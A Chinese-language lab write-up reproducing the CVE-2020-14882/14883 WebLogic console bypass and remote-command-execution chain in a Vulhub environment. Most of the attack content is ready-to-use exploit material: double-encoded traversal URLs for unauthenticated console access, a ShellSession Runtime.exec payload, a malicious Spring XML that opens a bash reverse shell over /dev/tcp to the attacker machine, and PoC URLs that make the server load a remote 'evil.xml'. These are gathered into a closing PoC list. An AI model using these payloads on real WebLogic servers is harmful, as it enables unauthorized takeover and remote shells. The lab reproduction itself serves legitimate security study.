0x01 漏洞簡介
Weblogic是Oracle公司推出的J2EE應用服務器,CVE-2020-14882允許未授權的用戶繞過管理控制台的權限驗證訪問后台,CVE-2020-14883允許后台任意用戶通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執行命令。
0x02 環境搭建
本次實驗用到三個虛擬機
攻擊機:Kali ip:192.168.222.131
環境機:Ubantu ip:192.168.222.128
Xml掛載:windows 7 ip:192.168.222.130(這個好像網上也有自己用起一個也行)
Ubantu Vulhub
Docker啟動
0x03 影響版本
10.3.6.0.0,
12.1.3.0.0,
12.2.1.3.0,
12.2.1.4.0,
14.1.1.0.0
0x04 漏洞復現
訪問:
http://192.168.222.128:7001/console/css/%252e%252e%252fconsole.portal
未授權復現完成。
遠程命令執行:
http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
touch /tmp/success1 //替換其他命令
反彈shell
這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10版本並不存在com.tangosol.coherence.mvel2.sh.ShellSession類,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext類時,需要構造一個惡意的xml文件。
rec.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>-c</value>
<value>/bin/bash</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.222.131/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Poc:
http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.222.130/rce.xml")
Rce.xml文件下載:http://192.168.222.130/rce.xml (windows 7 自己起的)
如果用到彈shell需要自己替換一下xml彈shell命令
訪問抓包
然后用kali nc監聽8888
在將獲取的數據包repeater重放
Poc整理:
反彈shell :
http://ip+端口/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://*.*.*.*/evil.xml")
需要xxx.xml文件。修改文件內的命令
未授權:
http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal
命令執行:
http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
這里執行的
touch%20/tmp/success1
文章參考:https://www.cnblogs.com/2rsh0u/p/13911794.html